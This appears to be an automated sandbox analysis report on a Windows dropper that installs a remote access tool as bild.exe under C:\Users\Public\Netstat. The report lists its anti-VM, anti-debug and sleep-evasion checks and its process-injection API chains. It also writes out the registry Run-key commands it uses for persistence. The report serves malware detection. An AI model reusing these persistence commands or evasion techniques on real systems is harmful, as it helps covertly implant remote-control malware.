Contains functionality to detect sleep reduction / modifications

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5D91F0		5_2_6C5D91F0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5E4F30		5_2_6C5E4F30

Delayed program exit found

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110B8200 Sleep,ExitProcess,		5_2_110B8200
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110B8200 Sleep,ExitProcess,		6_2_110B8200

Source: C:\Users\Public\Netstat\bild.exe	Window / User API: threadDelayed 427			Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Window / User API: threadDelayed 8031			Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision	graph_5-94273
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision	graph_5-95465
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision	graph_5-96148
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision	graph_5-99497
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision	graph_5-99895
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\bild.exe	Evaded block: after key decision

Source: C:\Users\Public\Netstat\bild.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\Public\Netstat\bild.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_5-99636

Source: C:\Users\Public\Netstat\bild.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-99387

Source: C:\Users\Public\Netstat\bild.exe	API coverage: 6.1 %
Source: C:\Users\Public\Netstat\bild.exe	API coverage: 2.6 %

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_6C5E4F30

5_2_6C5E4F30

Source: C:\Users\Public\Netstat\bild.exe TID: 7724	Thread sleep time: -59250s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe TID: 7728	Thread sleep time: -42700s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe TID: 7724	Thread sleep time: -2007750s >= -30000s	Jump to behavior

Source: C:\Users\Public\Netstat\bild.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Netstat\bild.exe	Last function: Thread delayed

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_6C5E3130 GetSystemTime followed by cmp: cmp eax, 02h and CTI: je 6C5E3226h

5_2_6C5E3130

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7A273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00D7A273
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8A537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00D8A537
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D330
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	5_2_11065890
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	5_2_1106A0A0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	5_2_111266E0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	5_2_1110AFD0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	6_2_1102D330
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	6_2_11065890
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	6_2_1106A0A0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	6_2_111266E0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	6_2_1110AFD0

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D8C8D5 VirtualQuery,GetSystemInfo,

0_2_00D8C8D5

Source: HTCTL32.DLL.0.dr	Binary or memory string: VMware
Source: bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.claal*
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1708628358.000000000106B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: HTCTL32.DLL.0.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.0.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: bild.exe, 0000000A.00000003.1907595344.000000000095F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1708628358.000000000106B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: bild.exe, 00000005.00000002.4162765442.00000000056A5000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4161642806.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.0.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: TCCTL32.DLL.0.dr	Binary or memory string: VMWare
Source: bild.exe, 00000006.00000003.1826499959.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 0000000B.00000003.1988483840.0000000001130000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	API call chain: ExitProcess graph end node	graph_0-22429
Source: C:\Users\Public\Netstat\bild.exe	API call chain: ExitProcess graph end node	graph_5-94341
Source: C:\Users\Public\Netstat\bild.exe	API call chain: ExitProcess graph end node	graph_5-94972
Source: C:\Users\Public\Netstat\bild.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Netstat\bild.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Netstat\bild.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Netstat\bild.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D8DA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D8DA75

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11147750 GetLastError,wsprintfA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,SetLastError,GetKeyState,

5_2_11147750

Source: C:\Users\Public\Netstat\bild.exe

5_2_11029590

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D94A5A mov eax, dword ptr fs:[00000030h]

0_2_00D94A5A

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D98AAA GetProcessHeap,

0_2_00D98AAA

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8DA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D8DA75
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8DBC3 SetUnhandledExceptionFilter,	0_2_00D8DBC3
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D95B53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D95B53
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8DD7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D8DD7C
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11093080 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	5_2_11093080
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110310C0 _NSMClient32@8,SetUnhandledExceptionFilter,	5_2_110310C0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_11161D01
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1116DD89 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_1116DD89
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5F28E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_6C5F28E1
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5F87F5 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_6C5F87F5
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11093080 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	6_2_11093080
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110310C0 _NSMClient32@8,SetUnhandledExceptionFilter,	6_2_110310C0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_11161D01
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1116DD89 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_1116DD89

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_110F4560 GetTickCount,LogonUserA,GetTickCount,GetLastError,

5_2_110F4560

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_1111FCA0 GetForegroundWindow,GetClassNameA,GetWindowTextA,keybd_event,keybd_event,keybd_event,

5_2_1111FCA0

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\Netstat\bild.exe C:\Users\Public\Netstat\bild.exe	Jump to behavior

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_1109E190 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

5_2_1109E190

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_1109E910 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

5_2_1109E910

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: bild.exe, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWnd
Source: bild.exe, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Progman

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D8D8CB cpuid

0_2_00D8D8CB

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	0_2_00D8932F
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	5_2_11173A35
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	5_2_11173D69
Source: C:\Users\Public\Netstat\bild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_11173CC6
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoA,	5_2_1116B38E
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	5_2_11173933
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	5_2_111739DA
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_1117383E
Source: C:\Users\Public\Netstat\bild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_11173D2D
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	5_2_11173C06
Source: C:\Users\Public\Netstat\bild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_6C60DC56
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_6C601CC1
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoA,	5_2_6C60DC99
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	5_2_6C601DB6
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	5_2_6C601E5D
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	5_2_6C601EB8
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	5_2_6C60DB7C
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	5_2_6C602089
Source: C:\Users\Public\Netstat\bild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_6C602175
Source: C:\Users\Public\Netstat\bild.exe	Code function: EnumSystemLocalesA,	5_2_6C602151
Source: C:\Users\Public\Netstat\bild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_6C6021DC
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	5_2_6C602218
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	6_2_11173D69
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoA,	6_2_1116B38E
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	6_2_11173933
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	6_2_111739DA
Source: C:\Users\Public\Netstat\bild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_1117383E
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	6_2_11173A35
Source: C:\Users\Public\Netstat\bild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_11173D2D
Source: C:\Users\Public\Netstat\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	6_2_11173C06
Source: C:\Users\Public\Netstat\bild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_11173CC6

Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_110F33F0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

5_2_110F33F0

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D8C131 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,

0_2_00D8C131

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_1103B160 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

5_2_1103B160

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11174AE9 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

5_2_11174AE9

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D7A8E0 GetVersionExW,

0_2_00D7A8E0

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11070090 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	5_2_11070090
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110D8200 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	5_2_110D8200
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5DA980 EnterCriticalSection,LeaveCriticalSection,LeaveCriticalSection,LeaveCriticalSection,WSAGetLastError,socket,WSAGetLastError,#21,#21,#21,bind,WSAGetLastError,closesocket,htons,WSASetBlockingHook,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAUnhookBlockingHook,EnterCriticalSection,InitializeCriticalSection,getsockname,LeaveCriticalSection,GetTickCount,InterlockedExchange,	5_2_6C5DA980
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11070090 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	6_2_11070090
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110D8200 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	6_2_110D8200

Source: Yara match	File source: 6.2.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.6f980000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bild.exe.6f980000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.6f980000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bild.exe.6cef0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bild.exe.6f980000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
